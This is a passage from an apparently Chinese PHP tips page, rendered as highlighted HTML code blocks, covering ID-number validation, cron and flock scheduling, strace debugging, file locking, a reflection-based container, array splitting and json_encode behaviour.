class="line"><span class="keyword">const</span> ID_18_PREG = <span class="string">'/^[1-9]\d&#123;5&#125;[1-9]\d&#123;3&#125;(0[1-9]|1[0-2])([0-2][1-9]|[1-2]0|31)(\d&#123;4&#125;|\d&#123;3&#125;[Xx])$/'</span>;</span><br><span class="line"></span><br><span class="line">public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">validate</span>(<span class="params">$id</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!is_string($id) || empty($id)) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (strlen($id) == <span class="number">18</span> &amp;&amp; preg_match(<span class="keyword">static</span>::ID_18_PREG, $id) &amp;&amp; strtoupper($id[<span class="number">17</span>]) === self::getCheckBit($id)) &#123;</span><br><span class="line">       <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (strlen($id) == <span class="number">15</span> &amp;&amp; preg_match(<span class="keyword">static</span>::ID_15_PREG, $id)) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="number">15</span> 位身份证转化为 <span class="number">18</span> 位的代码如下：</span><br><span class="line"></span><br><span class="line">public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">format18</span>(<span class="params">$id</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="keyword">static</span>::validate($id)) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">''</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="number">15</span> !== strlen($id)) &#123;</span><br><span class="line">        <span class="keyword">return</span> $id;</span><br><span class="line">    &#125;</span><br><span class="line">    $newId = substr($id, <span class="number">0</span>, <span class="number">6</span>) . <span class="string">'19'</span> . substr($id, <span class="number">-9</span>) . <span class="string">'X'</span>;</span><br><span class="line">    $newId[<span class="number">17</span>] = <span class="keyword">static</span>::getCheckBit($newId);</span><br><span class="line">    <span class="keyword">return</span> $newId;</span><br><span class="line">&#125;</span><br><span class="line">转化示例结果：</span><br><span class="line"></span><br><span class="line"><span class="comment">//15位---------------------18位</span></span><br><span class="line"><span class="string">'370725881105149'</span> =&gt; <span class="string">'37072519881105149X'</span></span><br></pre></td></tr></table></figure>
<h3 id="定时脚本"><a href="#定时脚本" class="headerlink" title="定时脚本"></a>定时脚本</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">在不增加脚本文件可执行权限的情况，可以直接使用sh命令解决。</span><br><span class="line">https:<span class="comment">//www.fanhaobai.com/2017/07/php-cli-setting.html</span></span><br><span class="line"># 直接执行</span><br><span class="line">$ sh ./crontab.sh</span><br><span class="line"># crontab</span><br><span class="line">$ crontab -e</span><br><span class="line"><span class="number">10</span> <span class="number">0</span> * * * sh /mnt/hgfs/Code/ziroom/crontab/cli/crontab.sh &gt; <span class="regexp">/home/</span>log/cli.log</span><br><span class="line">单实例防并发</span><br><span class="line"></span><br><span class="line">脚本往往只需要单实例执行，甚至有时候启动多个实例并行执行会带来不可预期的错误。例如，一个脚本执行时间偶尔会超过 <span class="number">10</span> 分钟，而我又需要以每 <span class="number">5</span> 分钟的频率执行，那么不可避免的会出现多实例并发执行的异常情况，这时可以使用 文件锁 来保证脚本的单实例执行。</span><br><span class="line"></span><br><span class="line">当然，我们可以在脚本中实现文件锁，但是我们往往希望脚本只涉及到业务逻辑，这样方便维护。此时可以使用flock命令来解决：</span><br><span class="line"></span><br><span class="line"># flock文件锁</span><br><span class="line"><span class="number">5</span> * * * * <span class="regexp">/usr/</span>bin/flock -xn /<span class="keyword">var</span>/run/crontab.lock -c <span class="string">"/mnt/hgfs/Code/ziroom/crontab/cli/crontab.sh &gt; /home/log/cli.log"</span></span><br><span class="line">使用 flock 命令，一个明显的好处是不对业务有任何侵入，脚本只需关注业务逻辑。</span><br><span class="line"></span><br><span class="line">错误调试</span><br><span class="line"></span><br><span class="line">调试脚本时，遇到一些系统层面的错误问题，一般都不易发现，这时使用strace可以用来查看系统调用的执行，才是解决问题的根本。</span><br><span class="line"></span><br><span class="line">$ strace crontab.sh</span><br><span class="line"></span><br><span class="line">execve(<span class="string">"./crontab.sh"</span>, [<span class="string">"./crontab.sh"</span>], [<span class="comment">/* 29 vars */</span>]) = <span class="number">0</span></span><br><span class="line">brk(<span class="number">0</span>)                                  = <span class="number">0x106a000</span></span><br><span class="line">mmap(NULL, <span class="number">4096</span>, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, <span class="number">-1</span>, <span class="number">0</span>) = <span class="number">0x7f0434160000</span></span><br><span class="line">access(<span class="string">"/etc/ld.so.preload"</span>, R_OK)      = <span class="number">-1</span> ENOENT (No such file or directory)</span><br><span class="line">open(<span class="string">"/etc/ld.so.cache"</span>, O_RDONLY)      = <span class="number">3</span></span><br><span class="line">fstat(<span class="number">3</span>, &#123;st_mode=S_IFREG|<span class="number">0644</span>, st_size=<span class="number">53434</span>, ...&#125;) = <span class="number">0</span></span><br><span class="line">mmap(NULL, <span class="number">53434</span>, PROT_READ, MAP_PRIVATE, <span class="number">3</span>, <span class="number">0</span>) = <span class="number">0x7f0434152000</span></span><br><span class="line">close(<span class="number">3</span>)                                = <span class="number">0</span></span><br><span class="line">open(<span class="string">"/lib64/libc.so.6"</span>, O_RDONLY)      = <span class="number">3</span></span><br></pre></td></tr></table></figure>
<h3 id="PHP文件锁机制"><a href="#PHP文件锁机制" class="headerlink" title="PHP文件锁机制"></a>PHP文件锁机制</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//获取指针</span></span><br><span class="line">$file = <span class="string">'lock/increase.txt'</span>;</span><br><span class="line">$fp = fopen($file, <span class="string">'r'</span>);</span><br><span class="line"><span class="comment">//加排他锁</span></span><br><span class="line">flock($fp, LOCK_EX);</span><br><span class="line"><span class="comment">//数据操作</span></span><br><span class="line">$key = <span class="string">'company_watch_num_'</span> . $request[<span class="string">'company_id'</span>];</span><br><span class="line">Cache::increment($key);</span><br><span class="line"><span class="comment">//解锁</span></span><br><span class="line">flock($fp, LOCK_UN);</span><br><span class="line"><span class="comment">//关闭指针</span></span><br><span class="line">fclose($fp);</span><br></pre></td></tr></table></figure>
<h3 id="关闭错误日志"><a href="#关闭错误日志" class="headerlink" title="关闭错误日志"></a>关闭错误日志</h3><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">，通过 error_log off 并不能关闭错误日志记录，而它只是表示将日志文件写入一个文件名为 off 的文件中。</span><br><span class="line"></span><br><span class="line">如果需要关闭错误日志记录，应使用以下配置：</span><br><span class="line"></span><br><span class="line">error_log /dev/null crit;                  # 把存储位置设置为linux的黑洞</span><br></pre></td></tr></table></figure>
<h3 id="php实现多进程"><a href="#php实现多进程" class="headerlink" title="php实现多进程"></a>php实现多进程</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">producer.php</span><br><span class="line"></span><br><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">echo microtime(<span class="literal">true</span>).<span class="string">'&lt;br&gt;'</span>;</span><br><span class="line"></span><br><span class="line">$url = <span class="string">'http://localhost/consumer.php'</span>;</span><br><span class="line">$curl = curl_init();</span><br><span class="line">curl_setopt($curl, CURLOPT_URL, $url);</span><br><span class="line">curl_setopt($curl, CURLOPT_HEADER, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">curl_setopt($curl, CURLOPT_NOSIGNAL, <span class="number">1</span>);</span><br><span class="line">curl_setopt($curl, CURLOPT_TIMEOUT_MS, <span class="number">200</span>); <span class="comment">//超时等待时间为200ms</span></span><br><span class="line"></span><br><span class="line">curl_setopt($curl, CURLOPT_RETURNTRANSFER, <span class="number">1</span>);</span><br><span class="line">$data = curl_exec($curl);</span><br><span class="line">curl_close($curl);</span><br><span class="line"></span><br><span class="line">echo microtime(<span class="literal">true</span>);</span><br><span class="line">consumer.php</span><br><span class="line"></span><br><span class="line">&lt;?php</span><br><span class="line">ignore_user_abort(<span class="literal">true</span>); <span class="comment">//客户端断开链接后，php脚本继续运行. 这行代码可能有点多余，但是无法准确的证明，所以先留着</span></span><br><span class="line">set_time_limit(<span class="number">0</span>); <span class="comment">//保证程序长时间运行不中断 http://eienao.com/posts/use-php-to-achieve-a-multi-process-ideas.html</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(<span class="literal">true</span>) &#123;</span><br><span class="line">	file_put_contents(<span class="string">'./date'</span>, time());</span><br><span class="line">	sleep(<span class="number">2</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="反射机制实现"><a href="#反射机制实现" class="headerlink" title="反射机制实现"></a>反射机制实现</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">http:<span class="comment">//eienao.com/posts/a-brief-introduction-to-the-realization-of-container-reflection-mechanism.html</span></span><br><span class="line">namespace Container;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Container</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">make</span>(<span class="params">$class</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $reflection = <span class="keyword">new</span> \ReflectionClass($<span class="class"><span class="keyword">class</span>)</span>;</span><br><span class="line"></span><br><span class="line">        $<span class="keyword">constructor</span> = $reflection-&gt;getConstructor();</span><br><span class="line">        $parameters = $<span class="keyword">constructor</span>-&gt;getParameters();</span><br><span class="line"></span><br><span class="line">        $instances = [];</span><br><span class="line"></span><br><span class="line">        foreach ($parameters as $parameter) &#123;</span><br><span class="line">            $className =  $parameter-&gt;getClass()-&gt;getName();</span><br><span class="line">            $instances[] = <span class="keyword">new</span> $className;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//... 将数组拆封成参数传递给方法, 类似于 call_user_func_array()</span></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> $<span class="class"><span class="keyword">class</span>(...$<span class="title">instances</span>)</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">namespace Container\Foo;</span><br><span class="line"></span><br><span class="line">use Container\Bar\BarA;</span><br><span class="line">use Container\Bar\BarB;</span><br><span class="line">use Container\Bar\BarC;</span><br><span class="line">use Container\Bar\BarD;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Foo</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    private $barA;</span><br><span class="line">    private $barB;</span><br><span class="line">    private $barC;</span><br><span class="line">    private $barD;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">BarA $barA, BarB $barB, BarC $barC, BarD $barD</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line"></span><br><span class="line">        $<span class="keyword">this</span>-&gt;barA = $barA;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;barB = $barB;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;barC = $barC;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;barD = $barD;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">allBarName</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;barA-&gt;name().<span class="string">'/'</span>.$<span class="keyword">this</span>-&gt;barB-&gt;name().<span class="string">'/'</span>.$<span class="keyword">this</span>-&gt;barC-&gt;name().<span class="string">'/'</span>.$<span class="keyword">this</span>-&gt;barD-&gt;name();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">namespace Container\Bar;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">BarA</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">name</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">'彼得·帕克'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$foo = \Container\Container::make(\Container\Foo\Foo::<span class="class"><span class="keyword">class</span>)</span>;</span><br><span class="line">echo $foo-&gt;allBarName(); <span class="comment">// 彼得·帕克/托尼·屎大颗/巴里·艾伦/布鲁斯·韦恩  https://github.com/weiwenhao/container</span></span><br><span class="line">$foo = <span class="keyword">new</span> \Container\Foo\Foo(</span><br><span class="line">    <span class="keyword">new</span> \Container\Bar\BarA(),</span><br><span class="line">    <span class="keyword">new</span> \Container\Bar\BarB(),</span><br><span class="line">    <span class="keyword">new</span> \Container\Bar\BarC(),</span><br><span class="line">    <span class="keyword">new</span> \Container\Bar\BarD()</span><br><span class="line">);</span><br><span class="line">echo $foo-&gt;allBarName();</span><br></pre></td></tr></table></figure>
<h3 id="cron"><a href="#cron" class="headerlink" title="cron"></a>cron</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">设定每个脚本最多执行时间位 <span class="number">200</span>秒，超过 <span class="number">200</span>秒 就自动死掉。https:<span class="comment">//learnku.com/articles/25177</span></span><br><span class="line"></span><br><span class="line">* * * * * timeout <span class="number">200</span> php /home/app/email.php</span><br><span class="line">如果这个脚本执行时间超过 <span class="number">60</span>秒，下一分钟又会执行 php email.php，如果避免重复执行？</span><br><span class="line">* * * * * flock -xn /tmp/test.lock -c <span class="string">"timeout 200 php /home/app/email.php"</span></span><br><span class="line"></span><br><span class="line">想 <span class="number">10</span>s 执行一次怎么办？</span><br><span class="line"></span><br><span class="line">* * * * * php /home/app/email.php &gt;&gt; <span class="regexp">/home/</span>log/test.log <span class="number">2</span>&gt;&amp;<span class="number">1</span></span><br><span class="line">* * * * * ( sleep <span class="number">10</span> ; php /home/app/email.php &gt;&gt; <span class="regexp">/home/</span>log/test.log <span class="number">2</span>&gt;&amp;<span class="number">1</span> )</span><br><span class="line">* * * * * ( sleep <span class="number">20</span> ; php /home/app/email.php &gt;&gt; <span class="regexp">/home/</span>log/test.log <span class="number">2</span>&gt;&amp;<span class="number">1</span> )</span><br><span class="line">* * * * * ( sleep <span class="number">30</span> ; php /home/app/email.php &gt;&gt; <span class="regexp">/home/</span>log/test.log <span class="number">2</span>&gt;&amp;<span class="number">1</span> )</span><br><span class="line">* * * * * ( sleep <span class="number">40</span> ; php /home/app/email.php &gt;&gt; <span class="regexp">/home/</span>log/test.log <span class="number">2</span>&gt;&amp;<span class="number">1</span> )</span><br><span class="line">* * * * * ( sleep <span class="number">50</span> ; php /home/app/email.php &gt;&gt; <span class="regexp">/home/</span>log/test.log <span class="number">2</span>&gt;&amp;<span class="number">1</span> )c</span><br><span class="line">cat test.php</span><br><span class="line">$i = <span class="number">10000</span>;</span><br><span class="line"><span class="keyword">while</span> ($i &gt; <span class="number">0</span>) &#123;</span><br><span class="line">  echo --$i . \PHP_EOL;</span><br><span class="line">  sleep(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="分割数组"><a href="#分割数组" class="headerlink" title="分割数组"></a>分割数组</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//源数据</span></span><br><span class="line">$origin =[];</span><br><span class="line"><span class="comment">//当前本地数据</span></span><br><span class="line">$current=[];</span><br><span class="line"><span class="comment">//生成10000个数据</span></span><br><span class="line"><span class="keyword">for</span>($i=<span class="number">1</span>;$i&lt;<span class="number">10000</span>;$i++) &#123;</span><br><span class="line">    $origin[] =  [<span class="string">'id'</span> =&gt; $i, <span class="string">'title'</span> =&gt; <span class="string">'title'</span>.$i, <span class="string">'content'</span> =&gt; <span class="string">'name'</span>.$i];</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//假设本地的数据已经取好了，我用title来作为唯一值来处理吧，容易认一点</span></span><br><span class="line"><span class="keyword">for</span>($i=<span class="number">5000</span>;$i&lt;<span class="number">8000</span>;$i++) &#123;</span><br><span class="line">    $current[] = <span class="string">'title'</span>.$i;</span><br><span class="line">&#125;</span><br><span class="line">$t1 = microtime(<span class="literal">true</span>);</span><br><span class="line">$insertArr = [];</span><br><span class="line">$updateArr = [];</span><br><span class="line">foreach ($origin <span class="keyword">as</span> $k=&gt;$value) &#123;</span><br><span class="line">    <span class="keyword">if</span> (!in_array($value[<span class="string">'title'</span>], $current)) &#123;</span><br><span class="line">        $insertArr[] = $value;</span><br><span class="line">    &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">        $updateArr[] = $value;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$t2 = microtime(<span class="literal">true</span>);</span><br><span class="line">dd($t2 - $t1);</span><br><span class="line"></span><br><span class="line">$t1 = microtime(<span class="literal">true</span>);</span><br><span class="line">array_walk($origin, <span class="function"><span class="keyword">function</span>(<span class="params">$value</span>) <span class="title">use</span> (<span class="params">$current, &amp;$insertArr, &amp;$updateArr</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!in_array($value[<span class="string">'title'</span>], $current)) &#123;</span><br><span class="line">        $insertArr[] = $value;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        $updateArr[] = $value;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line">或者</span><br><span class="line">array_map(<span class="function"><span class="keyword">function</span>(<span class="params">$value</span>) <span class="title">use</span> (<span class="params">$current, &amp;$insertArr, &amp;$updateArr</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!in_array($value[<span class="string">'title'</span>], $current)) &#123;</span><br><span class="line">        $insertArr[] = $value;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        $updateArr[] = $value;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;, $origin);</span><br><span class="line">$t2 = microtime(<span class="literal">true</span>);</span><br><span class="line">dd($t2 - $t1);</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 对比法分割数组https://learnku.com/articles/25250 </span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * @param $key    通过指定键（key）去对比</span></span><br><span class="line"><span class="comment"> * @param $origin 原数组</span></span><br><span class="line"><span class="comment"> * @param $split 分割数组 （源数组中的某个键的值）</span></span><br><span class="line"><span class="comment"> * @return array ['split'=&gt;被分割出来的数组, 'remainders'=&gt;剩余的数据];</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">splitArr</span>(<span class="params">$key, $origin, $split</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">//把title取出来做为键</span></span><br><span class="line">    $origin_new = array_combine(array_column($origin, $key), $origin);</span><br><span class="line">    <span class="comment">//把值作为键</span></span><br><span class="line">    $split_flip = array_flip($split);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//剩余的源数据 （用键来做差集比较得剩余的源数据）</span></span><br><span class="line">    $remainders = array_diff_key($origin_new, $split_flip);</span><br><span class="line">    <span class="comment">//被分割出来的数据</span></span><br><span class="line">    $new_split = array_diff_key($origin_new, $remainders);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> [<span class="string">'split'</span>=&gt;$new_split, <span class="string">'remainders'</span>=&gt;$remainders];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="json-encode-如何转化一个对象"><a href="#json-encode-如何转化一个对象" class="headerlink" title="json_encode()如何转化一个对象"></a>json_encode()如何转化一个对象</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://blog.yiranzai.cn/posts/26855/</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">JsonTest</span> <span class="title">implements</span> <span class="title">JsonSerializable</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    public <span class="keyword">const</span> TEST = <span class="string">'c'</span>;</span><br><span class="line">    public $a = <span class="string">'a'</span>;</span><br><span class="line">    public <span class="keyword">static</span> $b = <span class="string">'b'</span>;</span><br><span class="line">    protected $e = <span class="string">'e'</span>;</span><br><span class="line">    private $d = <span class="string">'d'</span>;</span><br><span class="line"></span><br><span class="line">    protected <span class="function"><span class="keyword">function</span> <span class="title">test1</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> __FUNCTION__;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">test2</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> __FUNCTION__;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">test3</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> __FUNCTION__;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">test4</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> __FUNCTION__;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">jsonSerialize</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $json = array();</span><br><span class="line">        foreach ($<span class="keyword">this</span> <span class="keyword">as</span> $key =&gt; $value) &#123;</span><br><span class="line">            $json[$key] = $value;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> $json;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">echo json_encode(<span class="keyword">new</span> JsonTest());<span class="comment">//&#123; "a": "a", "e": "e", "d": "d" &#125;</span></span><br><span class="line">&gt;&gt;&gt; $a = [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>];</span><br><span class="line"> </span><br><span class="line">&gt;&gt;&gt; json_encode($a);</span><br><span class="line">=&gt; <span class="string">"[1,2,3,4]"</span></span><br><span class="line">&gt;&gt;&gt; json_encode((object)$a);</span><br><span class="line">=&gt; <span class="string">"&#123;"</span><span class="number">0</span><span class="string">":1,"</span><span 